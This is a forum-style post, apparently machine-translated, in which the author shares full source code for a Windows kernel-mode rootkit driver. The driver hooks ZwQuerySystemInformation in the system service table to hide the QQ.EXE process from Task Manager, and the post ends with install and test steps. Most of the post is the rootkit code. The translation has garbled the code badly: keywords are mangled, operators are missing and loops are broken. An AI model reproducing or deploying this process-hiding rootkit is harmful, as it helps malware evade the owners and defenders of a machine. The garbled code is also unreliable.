Nearly studying rootkit, first stated that I am a rootkit's rookie, and I feel that there is still a deep study. This time I will write a hook system written during me.
The zwquerysysteminformation function is to implement the code of hidden QQ process, and it is also a black tile to add bricks. The hidden process can be detected by the rootkit detection tool, but the general method can not see, such as the task manager, and the process listed in the program can not be seen. I have added relevant comments in the program, and I will say it here. There are many articles about this technique, and I am just summing up myself. code show as below
Code:
// File name: hider.c
// Author: Jin Mao Shu (Chengdu hackers online) HTTP://Www.CduHacker.Com
// Features: Process for implementing programs to be protected with drivers
// Modify: 2005.12.23 Start writing
// Compilation: Bulid
// Environment: Win2000SP4 VC6.0 Win2000 DDK
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
#include "hider.h"
#define NT_Procnamelen 16
#define procnamelen 20
#pragma pack (1)
Typedef struct service {
Unsigned Int * ServiceTableBase;
Unsigned int * service; // buy only in checked build
Unsigned int numberofservices;
Unsigned char * paramtablebase;
} ServicesDescriptAblentry_t, * pserviceDescriptableentRY_T;
#pragma pack ()
__Declspec (DLLIMPORT) ServiceDescriptAblentry_t keserviceDescriptable;
/ / Define a macro systemservice (_function)
#define systemservice (_function) keserviceDescriptable.ServentAblebase [* (pulong) ((pulong) _function 1)]]
Struct _system_threads
{
Large_integer kernetime;
Large_integer usertime;
Large_integer createtime;
Ulong Waittime;
Pvoid Startaddress;
Client_id clientis;
KPRIORITY PRIORITY
KPRIORITY BASEPRIORITY
Ulong contextswitchcount;
Ulong threadState;
Kwait_reason waitreason;
}
Struct _system_processes
{
Ulong nextentryDelta;
Ulong threadcount;
Ulong reserved [6];
Large_integer createtime; large_integer usertime;
Large_integer kernetime;
Unicode_string processname;
KPRIORITY BASEPRIORITY
Ulong processid;
Ulong inheritedFromProcessId;
Ulong handlecount;
Ulong reserved2 [2];
VM_Counters vmcounters;
IO_COUNTERS IOCOUNTERS; // Windows 2000 ONLY
Struct _system_threads throughs [1];
}
// Drive Inlet Functions Driverentery
NTSTATUS DRIVERENTRY
In PDRIVER_OBJECT DriverObject,
In Punicode_String RegistryPath
)
{INT I;
DBGPRINT ("Drive Load is successful.");
GetProcessNameOffset ();
// Register the drive distribution function
For (i = 1; i { DBGPRINT ("Majorfunction .."); DriverObject-> majorfunction [i] = ondispatch; } // Register Drive Uninstall Function DriverObject-> driverunload = onunload; Oldzwquerysysteminformation = (zwQuerySystemInformation); _asm CLI "SystemSystem (ZWQuerySystemInformation) = newzwQuerySystemInformation; _asm STI Return status_success; } // User-defined newzwQuerySystemInformation NTSTATUS NewzwQuerySystemInformation In Ulong SystemInformationClass, In Pvoid SystemInformation, In Ulong SystemInformationLength, OUT Pulong ReturnLength ) { NTSTATUS RC; CHAR APROCESSNAME [procnamelen]; GetProcessName (AprocessName); RC = ((zwQuerySystemInformation) (OldzwQuerySystemInformation)) SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength; IF (NT_Success (RC)) { // Double Check The Process Name, IF IT Starts W / '_Root_' Do Not // Apply Any Stealth IF (0 == Memcmp (AproCessName, "_root_", 6)) { DBGPRINT ("Rootkit: detected system query from _root_ process / n"); } ELSE IF (5 == SystemInformationClass) { // this is a process list, Look for Process Names That Start with // '_root_' Struct _system_processes * curr = (struct _system_processes *) SystemInformation; Struct _system_processes * prev = null; DBGPrint ("Rootkit: NewzwQuerySystemInformation () from% S / N", APROCESSNAME While (Curr) { // struct _system_processes * next = ((char *) Curr = curr-> nextentryDelta); INT BMOD = FALSE; ANSI_STRING process_name; RTLUNICODESTRINGTOANSISTRING (& Process_name, & (Curr-> ProcessName), TRUE); IF ((0 { IF (0 == MEMCMP (Process_name.buffer, "QQ.EXE", 6)) // Modify the program you want to hide { // // We Have a Winner! // Char _output [255]; CHAR _PNAME [255]; MEMSET (_PNAME, 0, 255); Memcpy (_pname, process_name.buffer, process_name.length); Sprintf (_output, "Rootkit: Hiding Process, PID:% D / TNAME:% S / R / N", Curr-> Processid, _PNAME); DBGPRINT (_OUTPUT); IF (prev) { IF (Curr-> NEXTENTRYDELTA) { // make Prev Skip this entry Prev-> NEXTENTRYDELTA = CURR-> NEXTENTRYDELTA; BMOD = true; // flag to say what we have modified } Else { // We are last, so make prev the end Prev-> NEXTENTRYDELTA = 0; } } Else { IF (Curr-> NEXTENTRYDELTA) { // We are first in the list, SO Move It Forward (char *) Systeminformation = curr-> nextentryDelta; } Else { // We are the only process! Systeminformation = NULL; } } } } RTLFreeansString (& Process_name); Prev = CURR; IF (! bmod) Prev = CURR; IF (Curr-> NEXTENTRYDELTA) (CHAR *) Curr = Curr-> NEXTENTRYDELTA); Else Curr = NULL; } } } Return (RC); } // Get the program name INT getProcessName (Pchar thename) { Peprocess curproc; Char * nameptr; Ulong i; KIRQL Oldirql; IF (g_processnameoffset) { Curproc = psgetcurrentprocess (); Nameptr = (pchar) Curproc g_processnameoffset; STRNCPY (THENAME, NAMEPTR, NT_PROCNAMELEN); Thename [nt_procnamelen] = 0; / * NULLAT END * / Return True; } Return False; } // Drive Uninstall Function Onunload Void Onunload (in PDRIVER_Object DriverObject) { PDEvice_Object P_nextobj; PDEvice_Object OldDeviceObject; P_nextobj = driverObject-> DeviceObject; DBGPRINT ("Onunload .."); While (p_nextobj! = NULL) { OldDeviceObject = p_nextobj; p_nextobj = p_nextobj-> nextdevice; IodeleteDevice (OldDeviceObject); } _asm CLI (ZWQuerySystemInformation) = OldzwQuerySystemInformation; / OLDZWQUERYSYSTEMINFORMATION; _asm STI Return status_success; } // Drive the distribution function, hide the process you want to protect NTSTATUS OnDISPATCH ( In PDEvice_Object DeviceObject, In PIRP IRQ ) { IRQ-> iostatus.status = status_success; IOCOMPLETEREQUEST (IRQ, IO_NO_INCREMENT); Return Irq-> iostatus.status; } // Get function offset address functions getProcessNameOffset Void getProcessNameOffset () { INT I; Peprocess curproc; DBGPRINT ("getProcessNameOffset .."); Curproc = psgetcurrentprocess (); For (i = 0; i <3 * Page_size; i ) { IF (! "," system ", (pchar) Curproc i, Strlen (" System ")))))))) { g_processnameoffset = i; } } } Hider.h Code: // File name: hider.h // Author: Jin Mao Shu (Chengdu hackers online) HTTP://Www.CduHacker.Com // Function: Definition Function, and Global Variable // Modify: 2005.12.23 Start writing // Compilation: Bulid // Environment: Win2000SP4 VC6.0 Win2000 DDK Typedef NTSTATUS (* ZwQuerySystemInformation) Ulong SystemInformationClass, PVOID SystemInformation, Ulong SystemInformationLength, Pulong ReturnLength ); // Global variable part Ulong g_processnameoffset; ZwQuerySystemInformation OldzwQuerySystemInformation; // Function Defining section Void getProcessNameOffset (); Void onunload (in pdriver_object); NTSTATUS OnDISPATCH (in PDevice_Object, In Pirp); INT getProcessName (Pchar); NTSTATUS NewzwQuerySystemInformation (in Ulong SystemInformation Class, In Pvoid SystemInformation, in Ulong SystemInformationLength); NTSYSAPI NTSTATUS NTAPI ZWQUERYSYSTEMINFORMATION In Ulong SystemInformationClass, In Pvoid SystemInformation, In Ulong SystemInformationLength, OUT Pulong ReturnLength; Here is the programming of the compiled program. The address of the attachment is on the website testing method. 1. Import the registry first, then copy the hider.sys to the system32 directory. 2, restart the machine. 3, command prompt below "Net Start Hider" 4, open the QQ program 5, open the task manager. At this time, you can't see QQ process in the task manager.